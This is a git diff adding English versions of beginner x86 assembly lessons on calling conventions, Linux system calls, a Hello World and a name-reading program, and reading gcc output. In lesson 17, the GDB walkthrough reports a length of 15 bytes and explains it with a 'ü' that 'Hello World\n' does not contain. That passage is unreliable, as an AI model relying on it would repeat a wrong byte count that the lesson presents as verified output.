+(gdb) x/1xw $ebp+4 # return address
+```
+
+Real output:
+
+```
+[ebp+8] (1.arg) = 3
+[ebp+12] (2.arg) = 5
+[ebp+4] (return address) = 0x08049009
+```
+
+**There's the contract, in action.** `3` and `5` are exactly where expected (`[ebp+8]`, `[ebp+12]`), and the return address is right between them (`[ebp+4]`), just as we learned in 15. The function read them, added them, returned the result in `eax` (8); the caller found the result in eax and cleaned up the stack. Nobody stepped on anybody's toes — because both obeyed the same contract.
+
+> 💡 **You might be wondering:** *"Isn't all this ceremony a bit much just to add three numbers?"* In a tiny example it looks that way. But the idea is this: **any** function that obeys this contract can talk to **any** other one — the ones you write, the ones the compiler produces, the operating system's libraries. In a moment (19), when you look at the assembly of a C program, you'll see exactly this pattern — `push ebp` / `mov ebp, esp` / `[ebp+8]`. cdecl is "the common language everyone speaks"; its hassle is the price of its universality.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ CALLING CONVENTION = caller↔function agreement (data where, result from where, who cleans). 32-bit Linux = cdecl.
+☐ cdecl 3 rules:
+ 1) Arguments pushed onto the stack, RIGHT TO LEFT (last arg first → 1st arg on top).
+ 2) Return value in EAX.
+ 3) The CALLER cleans up the arguments (after call: add esp, ).
+☐ ebp = FIXED ANCHOR (esp keeps moving, can't be trusted):
+ - PROLOGUE: push ebp ; mov ebp, esp
+ - Arguments: 1st = [ebp+8] , 2nd = [ebp+12] ([ebp]=old ebp, [ebp+4]=return address, above them the arguments)
+ - EPILOGUE: pop ebp ; ret
+☐ Verified: Topla(3,5)=8 ; Topla(10,20)=30. gdb: [ebp+8]=3, [ebp+12]=5, [ebp+4]=return address.
+☐ Why it matters: the C compiler produces exactly this pattern too (you'll see in 19). cdecl = everyone's common language.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [15_call_ve_ret.md](./15_call_ve_ret.md) — `call`/`ret` and the return address on the stack (`[ebp+4]`); this lesson lays a "passing data" layer on top of it
+- [14_stack.md](./14_stack.md) — Where the arguments and `ebp` live; `push`/`pop` and `esp`'s movement. The prologue/epilogue are pure stack work
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — `[ebp+8]` = "the box at address ebp+8"; reading an argument is exactly following a pointer
+- [09_aritmetik.md](./09_aritmetik.md) — The `add` inside the function; the contract just wraps around it
+
+---
+
+**Previous topic:** [15_call_ve_ret.md](./15_call_ve_ret.md)
+**Next topic:** [17_sistem_cagrilari.md](./17_sistem_cagrilari.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/17_sistem_cagrilari.md b/docs/eng/konu_anlatimlari/x86_assembly/17_sistem_cagrilari.md
new file mode 100644
index 0000000..619ed59
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/17_sistem_cagrilari.md
@@ -0,0 +1,167 @@
+# 🖥️ x86 Assembly — System Calls: "Hello World" on the Screen
+
+> For all these lessons our programs ran in the same silence: they did a calculation, put the result in the **exit code**, and we secretly read it with `echo $?`. We never printed a single letter to the screen. Today we break that silence.
+> And along the way, those two mysterious lines we've copied to the end of every program — `mov eax, 1` / `int 0x80` — will finally be explained. The debt I've owed since lesson 06, saying "just write it like this for now, I'll explain it later," is paid off in this lesson.
+
+> **There is code in this lesson and we run all of it.** Every program, every output, and every GDB line below is real: I assembled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [Why Can't a Program Write to the Screen Directly?](#why-cant-a-program-write-to-the-screen-directly)
+- [System Calls and `int 0x80`](#system-calls-and-int-0x80)
+- [The First Real Output: Hello World](#the-first-real-output-hello-world)
+- [An Old Debt: What Was `mov eax, 1`?](#an-old-debt-what-was-mov-eax-1)
+
+---
+
+## Why Can't a Program Write to the Screen Directly?
+
+Intuition might say: "to write to the screen I'll just write something into the screen's memory, and that's that." But on a modern computer you **can't** — and this isn't a shortcoming, it's a deliberate security wall.
+
+Think about it: dozens of programs are running at the same time (browser, music, terminal...). If each of them could touch the screen, the disk, or the network card however it pleased, it would be complete chaos — one would write into another's window, one would overwrite another's file. That's why direct access to hardware (screen, disk, keyboard) belongs **only to the operating system** (the OS — the Linux kernel). Your program runs on the "user" side, in a locked room.
+
+So how are you going to write to the screen? **By asking the OS to do it for you.** You say, "I can't write to the screen, but you can — would you print this text for me?" The name of this request is a **system call**.
+
+> 🔑 A program can't touch hardware (screen/disk/keyboard) **directly** — that privilege belongs only to the operating system (for security + order). The program's only path is to **ask** the OS. This request is called a **system call** (syscall).
+
+---
+
+## System Calls and `int 0x80`
+
+A system call means telling the OS "do this job" — but the OS can do hundreds of jobs (write, read, open a file, exit...). You say which one you want with a **number**. On 32-bit Linux, a few basic numbers:
+
+| Number | Name | What it does |
+|:---:|---|---|
+| 1 | `sys_exit` | end the program |
+| 3 | `sys_read` | read input (e.g. from the keyboard) |
+| 4 | `sys_write` | write somewhere (e.g. to the screen) |
+
+The way to deliver the request to the OS — **on 32-bit Linux** — is the `int 0x80` instruction. `int 0x80` means "knock on the OS's door"; the worker stops, control passes to the OS, the OS sees the request and does it. But the OS asks "which job, with which details?"; you put the answer into **registers** beforehand. The rule:
+
+- **`eax`** = system call number (which job).
+- **`ebx`, `ecx`, `edx`** = the arguments of that job (in order).
+
+Sound familiar? This is exactly the calling convention from lesson 16 — only this time the "function" you're calling is the operating system, and you put the arguments into registers instead of the stack. Same idea: "put the data in the agreed-upon places, then call."
+
+> 🔑 A system call = asking the OS to do a job. **`eax`** = job number (1 exit, 3 read, 4 write), **`ebx`/`ecx`/`edx`** = arguments, then **`int 0x80`** = "knock on the door, OS takes over." (This is 32-bit Linux's way.)
+
+---
+
+## The First Real Output: Hello World
+
+To write to the screen we use `sys_write` (number 4). Its arguments are:
+
+- `ebx` = **where** to write — this is called the *file descriptor*; **`1` = the screen** (stdout).
+- `ecx` = **what** to write — the **address of the text in memory** (from lesson 08: the address of a label).
+- `edx` = **how many bytes** to write — the length of the text.
+
+So: "to place number 1 (the screen), write the text at this address, this many bytes." We put the text into a label in `section .data`, just like in lesson 08. `merhaba.asm`:
+
+```nasm
+section .data
+ mesaj: db "Hello World", 10 ; 10 = end of line (newline, '\n')
+ uzunluk equ $ - mesaj ; current address - mesaj address = number of bytes
+
+section .text
+ global _start
+_start:
+ mov eax, 4 ; sys_write
+ mov ebx, 1 ; where: 1 = screen (stdout)
+ mov ecx, mesaj ; what: the text's address
+ mov edx, uzunluk ; how many bytes
+ int 0x80 ; ask the OS: write!
+
+ mov eax, 1 ; sys_exit
+ mov ebx, 0 ; exit code 0
+ int 0x80
+```
+
+There are two small new things. `db "...", 10`: `db` (the byte sibling of `dd` from lesson 08) puts the text into memory byte by byte; the trailing `10` is the newline character (so the cursor drops to the next line). `uzunluk equ $ - mesaj`: `$` means "the current address"; subtracting the address of `mesaj` from it gives the **number of bytes** in between — so you don't have to count the length by hand. Assemble, run:
+
+```
+nasm -f elf32 merhaba.asm -o merhaba.o
+ld -m elf_i386 merhaba.o -o merhaba
+./merhaba
+```
+
+```
+Hello World
+```
+
+**There's the moment.** After all those calculations, decisions, loops, and functions — for the first time the program told you something **directly**. Not a number hidden in the exit code; text on the screen, with your own eyes.
+
+Let's see in GDB that the registers really are set up right before `int 0x80`:
+
+```
+(gdb) starti
+(gdb) si (×4 — skip the four movs)
+(gdb) print $eax → 4 (sys_write)
+(gdb) print $ebx → 1 (screen)
+(gdb) print $edx → 15 (number of bytes)
+(gdb) x/s $ecx → 0x804a000: "Hello World\n"
+(gdb) x/i $eip → int 0x80
+```
+
+All four registers are exactly in place: job number 4, target 1, length 15 (15 rather than 14 because the letter ü takes 2 bytes in UTF-8 — but `equ` counted this for you), and `ecx` points right at our text. When `int 0x80` fires, the OS reads these and prints to the screen.
+
+> 🔑 Writing to the screen = `sys_write` (eax=4): `ebx`=1 (screen), `ecx`=address of the text, `edx`=number of bytes, then `int 0x80`. You put the text down with `db "...", 10` (10=newline), and `equ $ - label` counts the length for you.
+
+> 💡 **You might be wondering:** *"`sys_read` (3) is in the table too — can we read input as well?"* Yes, by the same logic: `sys_read` takes some text from the keyboard and puts it into memory (ebx=0 = keyboard/stdin, ecx=where, edx=at most how many bytes). You've learned to write to the screen; we'll build **reading** and combine the two into a truly interactive program — *"one that asks you for something and responds based on your answer"* — in the next lesson (18).
+
+---
+
+## An Old Debt: What Was `mov eax, 1`?
+
+Now go back and look at the program's **last two lines**:
+
+```nasm
+ mov eax, 1 ; sys_exit
+ mov ebx, 0 ; exit code
+ int 0x80
+```
+
+Recognize it? This is the pattern you've copied to the end of **every** program since lesson 06. It turns out that too was a system call — it always was, we'd just deferred the explanation until today. Now you can read every piece of it:
+
+- `mov eax, 1` → **`sys_exit`** (call number 1): "end the program."
+- `mov ebx, 0` → the argument of the exit call: **the exit code.**
+- `int 0x80` → ask the OS.
+
+And here's the point that ties the whole course together: back in lesson 06 we said "put the result in `ebx`, and `echo $?` will show it" — **why `ebx`?** Because `sys_exit`'s exit-code argument sits in `ebx` (the rule above: the first argument is `ebx`). That number `echo $?` read was actually the `ebx` you gave as an argument to `sys_exit`. You've been making a system call all along — you just didn't know its name.
+
+> 🔑 The `mov eax, 1` / `int 0x80` you've used since lesson 06 = the **`sys_exit`** system call; `ebx` = the exit-code argument. The number `echo $?` read was this very `ebx`. That was the answer to "why do we put the result in ebx?" — the system call rule.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A program CAN'T touch hardware (screen/disk/keyboard) DIRECTLY; only the OS can (security+order). The program ASKS the OS.
+☐ This request = SYSTEM CALL. On 32-bit Linux:
+ - eax = call number (1=exit, 3=read, 4=write)
+ - ebx, ecx, edx = arguments
+ - int 0x80 = "knock on the door", control passes to the OS. (The OS version of lesson 16's calling convention.)
+☐ WRITE TO SCREEN = sys_write (eax=4): ebx=1(screen), ecx=address of the text, edx=number of bytes.
+ - Text: db "Hello World", 10 (10=newline). Length: equ $ - mesaj (counts automatically).
+ - Verified: "Hello World" printed to the screen; gdb: eax=4, ebx=1, edx=15, ecx→"Hello World\n".
+☐ DEBT PAID: mov eax,1 / int 0x80 = sys_exit; ebx = exit code. The number echo $? read = that ebx.
+ "Why put the result in ebx?" — because sys_exit's argument is ebx. (Since lesson 06 we'd been making syscalls without realizing it.)
+☐ Next up: sys_read (input) + combine it all → an interactive program that asks your name and greets you (18).
+```
+
+---
+
+## 🔗 Related Topics
+
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — where `mov eax, 1` / `int 0x80` and the "put the result in ebx, read it with `echo $?`" pattern first appeared; the debt was incurred here and paid off here
+- [16_calling_convention.md](./16_calling_convention.md) — the idea "put the arguments in the agreed-upon places, then call"; the syscall is that idea applied to the OS (registers instead of the stack)
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — `section .data`, labels and addresses; `ecx = mesaj` is an address, and `db` is the byte form of `dd`
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — "The operating system is the worker's boss"; why only the OS touches hardware, the big picture
+
+---
+
+**Previous topic:** [16_calling_convention.md](./16_calling_convention.md)
+**Next topic:** [18_ilk_etkilesimli_program.md](./18_ilk_etkilesimli_program.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/18_ilk_etkilesimli_program.md b/docs/eng/konu_anlatimlari/x86_assembly/18_ilk_etkilesimli_program.md
new file mode 100644
index 0000000..32f9fe4
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/18_ilk_etkilesimli_program.md
@@ -0,0 +1,179 @@
+# 🗣️ x86 Assembly — First Interactive Program: Ask a Name, Say Hello
+
+> In 17 we crossed a big threshold: the program **spoke** for the first time (printing "Hello World" to the screen with `sys_write`). But the conversation was one-way — the program talked, you listened. For a real interaction we need the second half: the program **listening to you.**
+> This lesson is a milestone. There's very little new here; the real work is to combine the pieces you've been collecting since the start of the course — memory, register, `mov`, system call — into **one real program.** By the end you'll have a program you wrote yourself, from scratch, that asks you a question and responds based on your answer.
+
+> **This lesson has code and we run all of it.** The program below and its output are real: I compiled and ran it on my own machine (I typed the input on the keyboard).
+
+---
+
+## 📋 Table of Contents
+
+- [The Missing Piece: Reading Input — `sys_read`](#the-missing-piece-reading-input--sys_read)
+- [Where the Input Goes: `section .bss`](#where-the-input-goes-section-bss)
+- [Put It All Together: The Name-Asking Program](#put-it-all-together-the-name-asking-program)
+- [How Much Was Read? The Return of `eax`](#how-much-was-read-the-return-of-eax)
+
+---
+
+## The Missing Piece: Reading Input — `sys_read`
+
+In 17 we saw three numbers in the system-call table: `1` exit, `4` write, and one we haven't used yet, `3` — **`sys_read`** (read). You learned how to write to the screen; now the reverse: **reading** from the keyboard.
+
+`sys_read` is the **mirror image** of `sys_write`. The same three arguments, but the direction is reversed:
+
+| | `sys_write` (write) | `sys_read` (read) |
+|---|---|---|
+| `eax` | 4 | **3** |
+| `ebx` (to where / from where) | 1 = screen (stdout) | **0 = keyboard (stdin)** |
+| `ecx` | address of the data to write | **address where the read data goes** |
+| `edx` | how many bytes to write | **at most how many bytes to read** |
+
+So `sys_read`: "from location `0` (the keyboard), read at most `edx` bytes and put them where `ecx` points." When the user types something and presses Enter, that text fills the memory region you specified.
+
+> 🔑 `sys_read` (eax=**3**) = read from the keyboard; the mirror of `sys_write`. `ebx=0` (keyboard/stdin), `ecx` = the address where the read data **goes**, `edx` = at most how many bytes. What the user types fills the memory at `ecx`.
+
+---
+
+## Where the Input Goes: `section .bss`
+
+A small problem: `sys_read` will put what it reads somewhere — but where? We need an **empty**, pre-allocated memory region (a "buffer"). We could use `section .data` from 08, but that's for data whose **value is known up front** (like `db "Hello"`). Our input buffer has no starting value — we just want to say "reserve me 32 bytes of empty space."
+
+There's a separate section for this: **`section .bss`** — memory that has no starting value, just **reserved** space. You ask for room inside it with `resb` ("reserve bytes"):
+
+```nasm
+section .bss
+ isim: resb 32 ; reserve a 32-byte empty buffer called 'isim'
+```
+
+`resb 32` means "32 bytes of empty space, named `isim`." Unlike `db` it doesn't write anything into it — it just opens a blank notebook page for `sys_read` to come and fill.
+
+> 🔑 Data with a known starting value → `section .data` (`db`, 08). An empty buffer to be filled (for input) → `section .bss` (`resb N` = reserve N bytes of empty space). The input buffer goes in `.bss` because it's empty to begin with.
+
+---
+
+## Put It All Together: The Name-Asking Program
+
+Now let's combine the pieces. The program's plan in plain English:
+
+1. Write **"What's your name? "** to the screen. (`sys_write`, 17)
+2. **Read** the name from the keyboard, put it in the buffer. (`sys_read`)
+3. Write **"Hello, "** to the screen.
+4. Write the **name** that was read back out.
+5. Exit. (`sys_exit`, 17)
+
+`selam.asm`:
+
+```nasm
+section .data
+ soru: db "What's your name? "
+ soru_uz equ $ - soru
+ selam: db "Hello, "
+ selam_uz equ $ - selam
+
+section .bss
+ isim: resb 32 ; empty buffer for input
+
+section .text
+ global _start
+_start:
+ ; 1) write the question
+ mov eax, 4
+ mov ebx, 1
+ mov ecx, soru
+ mov edx, soru_uz
+ int 0x80
+
+ ; 2) read the name
+ mov eax, 3 ; sys_read
+ mov ebx, 0 ; keyboard
+ mov ecx, isim ; put it in the buffer
+ mov edx, 32 ; at most 32 bytes
+ int 0x80
+ mov esi, eax ; save the number of bytes read (explained below)
+
+ ; 3) write "Hello, "
+ mov eax, 4
+ mov ebx, 1
+ mov ecx, selam
+ mov edx, selam_uz
+ int 0x80
+
+ ; 4) write the name back (exactly as many bytes as were read)
+ mov eax, 4
+ mov ebx, 1
+ mov ecx, isim
+ mov edx, esi ; number of bytes read
+ int 0x80
+
+ ; 5) exit
+ mov eax, 1
+ mov ebx, 0
+ int 0x80
+```
+
+The only new line is `mov esi, eax` (in a moment). The rest is familiar: four system calls with `mov`s sprinkled between them. Assemble it, run it, and **when it asks you, type your name:**
+
+```
+nasm -f elf32 selam.asm -o selam.o
+ld -m elf_i386 selam.o -o selam
+./selam
+```
+
+```
+What's your name? Ada
+Hello, Ada
+```
+
+(Above, `Ada` is what you typed; the program read it and greeted you.) **That's it.** At the start of the course "the computer was a box"; now you've written a program for that box from scratch, one instruction at a time, that asks you a question and responds based on your answer. Something that asks you something, listens, and answers — a small but **complete** interaction.
+
+---
+
+## How Much Was Read? The Return of `eax`
+
+Let's return to that `mov esi, eax` line I didn't explain, because it solves a small but important subtlety. Names have different lengths: "Ada" is 3 letters, "Rüzgar" is longer. When we write the name back out, what do we put in `edx` (how many bytes)? If we write a fixed number, we either cut the name short or print extra (garbage from the buffer).
+
+Here's the trick: **system calls return a result, and that result comes back in `eax`** (recall the "return value is in eax" rule from 16 — same thing here). When `sys_read` finishes, `eax` tells you **how many bytes it read.** So we immediately save it into `esi` (`mov esi, eax`), then when writing the name we say `edx = esi` — that way it's **exactly what the user typed**, no more, no less. `esi` is a general-purpose register just like `eax`, `ebx` — one member of that handful you met in 04.5, put to use here for the first time. But why `esi` specifically? Because the `sys_write` that comes right after does `mov eax, 4` and would **overwrite** that value — if the read result had stayed in `eax` it would have been lost. But we never touch `esi` between the two calls, so the number waits there safe and sound. Any other register we don't touch would have worked too; the point is to get it out of `eax` and into a safe place.
+
+```nasm
+ int 0x80 ; sys_read
+ mov esi, eax ; eax = number of bytes read → save it
+ ...
+ mov edx, esi ; when writing back: exactly that many bytes
+```
+
+That's why in the output we also dropped to the next line after the name: when the user presses Enter, that line-ending (`10`) is also included in the bytes read (the `10` from 17), `sys_read` counted it too, and when we wrote it back the cursor moved down a line. So the behavior isn't a "coincidence" — it's the result of honestly using the number `eax` returned.
+
+> 🔑 A system call also gives a **return value**, in `eax` (16's rule). For `sys_read` this = **how many bytes were read.** Save it (`mov esi, eax`) and use it as the length when writing back, and you print exactly the input no matter its length. (The user's Enter = the last byte, which counts too.)
+
+> 💡 **You might be wondering:** *"Is this program 'real', or is it still a toy?"* Small but real. It contains the whole skeleton of a professional program: take input from the user, put it in memory, process it, print the result. The only thing missing is **scale** — error checking, more features, bigger structure. But the core loop (in→process→out) is exactly this. From here on it's "more," not "different."
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ sys_read (eax=3) = read from the keyboard; the mirror of sys_write. ebx=0 (keyboard), ecx=where it goes, edx=at most how many bytes.
+☐ Empty input buffer → section .bss: isim: resb 32 (32 bytes of empty space). (Filled data .data/db; empty buffer .bss/resb.)
+☐ Interaction skeleton: write(question) → read(answer) → write(reply) → exit. Four syscalls, mov's between them.
+☐ A system call's RETURN value is in eax (16). sys_read → number of bytes read. Save it (mov esi,eax), and when writing back edx=esi.
+ → You print exactly the input no matter its length (Enter's newline counts too → moves to the next line).
+☐ Verified: "What's your name? " → user types "Ada" → "Hello, Ada". Works with variable-length names.
+☐ MILESTONE: from scratch, one instruction at a time, you wrote a complete interactive program that asks you a question and answers.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [17_sistem_cagrilari.md](./17_sistem_cagrilari.md) — `sys_write`, `int 0x80` and the syscall table; this lesson adds its `sys_read` half and combines the two
+- [16_calling_convention.md](./16_calling_convention.md) — The "return value is in eax" rule; `sys_read` returning the byte count in eax is exactly this
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — `section .data`, label and address; `.bss`/`resb` is its "reserve empty space" sibling
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — From the first "does-nothing" program to here: now the program asks, listens, answers
+
+---
+
+**Previous topic:** [17_sistem_cagrilari.md](./17_sistem_cagrilari.md)
+**Next topic:** [19_c_ile_assembly_koprusu.md](./19_c_ile_assembly_koprusu.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md b/docs/eng/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md
new file mode 100644
index 0000000..fa4a2f6
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md
@@ -0,0 +1,157 @@
+# 🌉 x86 Assembly — The C-to-Assembly Bridge
+
+> Throughout this course we wrote assembly **by hand** — every `mov`, every `push`, you thought out and placed yourself. But in the real world nobody writes whole programs this way; they write in **higher-level languages** like C, C++, Rust, and then a **compiler** translates them into assembly.
+> So what does that compiler produce? Here is the surprise of this lesson (and the reward of the whole course): what the compiler produces is **the very patterns you wrote by hand in this course.** We'll look at the assembly of a C program and there — `push ebp`, `[ebp+8]`, `add`, `ret` — you'll see nothing but old friends. In that moment, you'll become someone who "can read compiled code."
+
+> **This lesson has code, and we run all of it.** The C source below and the assembly it produces are real: I compiled it with `gcc` on my own machine and took its output.
+
+---
+
+## 📋 Table of Contents
+
+- [Not by Hand, by Compiler: Where Does C Come From?](#not-by-hand-by-compiler-where-does-c-come-from)
+- [Compile a Tiny C Function](#compile-a-tiny-c-function)
+- [Familiar Patterns: The Ones You Wrote by Hand](#familiar-patterns-the-ones-you-wrote-by-hand)
+- [Optimization: Why Did `× 8` Become `shl`?](#optimization-why-did--8-become-shl)
+
+---
+
+## Not by Hand, by Compiler: Where Does C Come From?
+
+Back in 00 we said this: you write assembly → `nasm` (an *assembler*) translates it into machine code. The assembler's job was easy, because assembly was already one-to-one close to machine code — it just turned labels into numbers.
+
+Higher-level languages (like C) sit one layer further up. You write `a + b`; but the processor knows no such thing as "a + b" — it knows `mov`, `add`, registers. The program that does the translation in between is called a **compiler**. The `gcc` we'll use takes C source and **produces assembly** — that is, it does automatically exactly the work you did in your head throughout this course.
+
+And here's the nice part: we can tell `gcc`, "translate, but stop at assembly, don't go all the way to machine code." That way we get to see with our own eyes **which assembly** the compiler produces. Command: `gcc -S` (`-S` = "stop at assembly").
+
+> 🔑 Higher-level languages (C...) are languages the processor doesn't directly understand; the program that translates them into assembly is called a **compiler** (`gcc`). `nasm` translates your asm into machine code; `gcc` translates C into **asm** — that is, the very work you did by hand in this course. With `gcc -S` we can see the asm it produces.
+
+---
+
+## Compile a Tiny C Function
+
+Let's pick a familiar example — the C version of the addition function we wrote by hand in 16. `topla.c`:
+
+```c
+int topla(int a, int b) {
+ return a + b;
+}
+```
+
+In plain terms: "take two numbers (`a`, `b`), return their sum." The same `topla` function from 16, but as three readable lines of C. Now let's tell `gcc` to translate this into 32-bit assembly:
+
+```
+gcc -m32 -S -masm=intel -O0 -fno-pie -fno-pic topla.c -o topla.s
+```
+
+Let's get to know the flags: `-m32` (the 32-bit we've been learning), `-S` (stop at assembly), `-masm=intel` (the Intel syntax used in this course — so it resembles `nasm`), `-O0` (do no optimization, translate plainly). The last two, `-fno-pie -fno-pic`, are a closed box for now: they force the compiler to produce old-style, simple output. Without them, modern gcc would insert extra address-computation code and the output would get murky — and then we couldn't see the clean skeleton. The detail isn't the subject of this course, don't worry. The core of the `topla.s` file it produces:
+
+```nasm
+topla:
+ push ebp
+ mov ebp, esp
+ mov edx, DWORD PTR [ebp+8]
+ mov eax, DWORD PTR [ebp+12]
+ add eax, edx
+ pop ebp
+ ret
+```
+
+Take a minute to look at this output. Is there a single unfamiliar line?
+
+> 💡 **You might be wondering:** *"What's `DWORD PTR [ebp+8]`? We used to write `[ebp+8]`."* Same thing. In `gcc`'s syntax, `DWORD PTR [ebp+8]` = "the **4-byte (dword)** value at address `[ebp+8]`" — in `nasm`, since the size can usually be understood from context, we just wrote `[ebp+8]` for short. Two assemblers have small differences in syntax (just like two dialects); but **the machine instruction they describe is exactly the same.**
+
+---
+
+## Familiar Patterns: The Ones You Wrote by Hand
+
+Now let's **label** that output line by line — and see which lesson each line is familiar from:
+
+```nasm
+topla:
+ push ebp ; ┐ PROLOGUE → lesson 16
+ mov ebp, esp ; ┘ (set up the anchor)
+ mov edx, DWORD PTR [ebp+8] ; 1st argument (a) → lesson 16 ([ebp+8])
+ mov eax, DWORD PTR [ebp+12] ; 2nd argument (b) → lesson 16 ([ebp+12])
+ add eax, edx ; a + b → lesson 09 (add)
+ pop ebp ; ┐ EPILOGUE → lesson 16
+ ret ; ┘ (return to caller) → lesson 15 (ret)
+```
+
+**This table holds the whole reward of the course.** The compiler turned an innocent C line like `a + b` into exactly the skeleton you **built by hand** in 16: set up the `ebp` anchor with the prologue, read the arguments from `[ebp+8]` and `[ebp+12]` (the convention from 16!), sum them with `add` (09) — **the result stays in `eax`, which in cdecl is where the return value lives (16); the "return" part of C's `return a + b;` is exactly this, not a separate instruction** — clean up with the epilogue and return with `ret` (15). Had you looked at this before the course it would have been a mystery; now you **can read it.**
+
+(A small difference: the compiler used `edx` as a scratch register while computing the sum, whereas when we wrote it by hand we used `eax` directly. This is normal — which register it picks as scratch is the compiler's choice; as long as both obey the same convention, the result doesn't change.)
+
+> 🔑 When you translate a C program with `gcc -S`, what you meet are the **patterns** you learned in this course: prologue/epilogue (16), `[ebp+8]` arguments (16), `add`/`sub` (09), `call`/`ret` (15). C is not "magic" — it compiles into these patterns. Learning assembly = **being able to read every compiled program.** This is where the door to reverse engineering opens.
+
+---
+
+## Optimization: Why Did `× 8` Become `shl`?
+
+Above we said `-O0`: "do no optimization, translate plainly." But if you tell the compiler to "**speed it up**" (`-O1`), it behaves far more cleverly — and here you'll see a promise I made you back in 13. In 13 I said "`shl` = ×2ⁿ, compilers turn multiplication by a power of 2 into `shl`, you'll see it in 19." Let's prove it. `carp8.c`:
+
+```c
+int carp8(int x) {
+ return x * 8;
+}
+```
+
+Translate it with `gcc -m32 -S -masm=intel -O1 -fno-pie -fno-pic carp8.c -o carp8.s` (the same flags, the only difference `-O1` instead of `-O0`). What it produces:
+
+```nasm
+carp8:
+ mov eax, DWORD PTR [esp+4] ; take x
+ sal eax, 3 ; x << 3 = x × 8 ← NOT MULTIPLICATION, A SHIFT!
+ ret
+```
+
+**Here is 13's promise.** In 13 I told you `shl`; here gcc wrote `sal` — don't be surprised, this is the instruction you expected: **for shifting left, `sal` and `shl` are exactly the same instruction** (same machine code, same opcode), just two different names. In C you wrote `x * 8`, but the compiler placed no multiplication instruction (`mul`) — instead it placed `sal eax, 3` (shift left by 3 = ×2³ = ×8), because shifting is much faster (13). In C you saw "multiplication"; on the machine there's a **bit shift**. The two give the same result, but the compiler chose the fast one.
+
+A small extra observation: with `-O1` on, there's **not even** a `push ebp`/`mov ebp, esp` prologue — the compiler saw that this tiny function doesn't need the `ebp` anchor, skipped it, and read the argument directly from `[esp+4]`.
+
+Why `[esp+4]` and not `[ebp+8]` like just before? In three steps:
+
+- The moment the function is entered, the **return address** sits at the top of the stack (`[esp]`); the 1st argument is right above it: **`[esp+4]`**.
+- **If** there were a prologue, `push ebp` would push `esp` down 4 bytes, and `mov ebp, esp` would fix the anchor there — so relative to `ebp` the argument would sit 4 bytes farther away: **`[ebp+8]`**.
+- In this function there's **no** prologue, that push never happened; we measure directly from `esp`: **`[esp+4]`**.
+
+("Wasn't `esp` constantly moving, so trusting it was dangerous (16)?" — yes; but this tiny function never touches the stack (no `push`/`pop`/`call`), so `esp` **doesn't budge** from start to finish, and here trusting it is safe.)
+
+(In 16 we said "the prologue is a *convenience*, not an obligation"; here's the proof.) Optimized code looks more "cunning" than what you wrote by hand — but underneath it are always the instructions you know.
+
+> 🔑 With `-O1`/`-O2` (optimization) on, the compiler gets smart: `× 8` → `shl/sal` (13), it drops the unnecessary prologue, it uses registers cunningly. That's why optimized code can look unfamiliar at first glance — but its bricks are always the bricks of this course. In reverse engineering, most of the work is taking apart these "cunning but familiar" patterns.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Higher-level language (C) → COMPILER (gcc) → assembly. (nasm: your asm to machine code; gcc: C to asm.)
+ gcc -m32 -S -masm=intel → SEE the asm the compiler produces (-S = stop at asm).
+☐ int topla(int a,int b){return a+b;} → THE COMPILER PRODUCED THIS:
+ push ebp / mov ebp,esp (PROLOGUE, 16)
+ mov ..., [ebp+8] / [ebp+12] (arguments, 16)
+ add (09)
+ pop ebp / ret (EPILOGUE 16 + ret 15)
+ → i.e. the same as what you wrote BY HAND. C is not magic; it compiles into these patterns.
+☐ Optimization (-O1): x*8 → sal eax,3 (13's ×2ⁿ, a shift not a multiply); the unnecessary prologue is dropped.
+ Optimized code looks "cunning" but its bricks are always this course's.
+☐ THE BIG WIN: knowing assembly = BEING ABLE TO READ EVERY COMPILED PROGRAM. This is the door to reverse engineering.
+☐ DWORD PTR [ebp+8] (gcc) = [ebp+8] (nasm): same instruction, different dialect.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [16_calling_convention.md](./16_calling_convention.md) — The prologue/epilogue and `[ebp+8]` arguments the compiler produces; this lesson is the proof that it's "really like that"
+- [13_bit_islemleri.md](./13_bit_islemleri.md) — The promise "`shl` = ×2ⁿ, compilers turn multiplication into a shift"; here it is, `x*8 → sal eax,3`
+- [09_aritmetik.md](./09_aritmetik.md) — `add`; C's `a + b` comes down to the same instruction
+- [00_buradan_basla.md](./00_buradan_basla.md) — The promise "when you compile a C program and look at its asm you'll see familiar patterns"; here it held true
+
+---
+
+**Previous topic:** [18_ilk_etkilesimli_program.md](./18_ilk_etkilesimli_program.md)
+**Next topic:** [20_buradan_nereye.md](./20_buradan_nereye.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/20_buradan_nereye.md b/docs/eng/konu_anlatimlari/x86_assembly/20_buradan_nereye.md
new file mode 100644
index 0000000..fab3f6d
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/20_buradan_nereye.md
@@ -0,0 +1,131 @@
+# 🧭 x86 Assembly — Where To From Here?
+
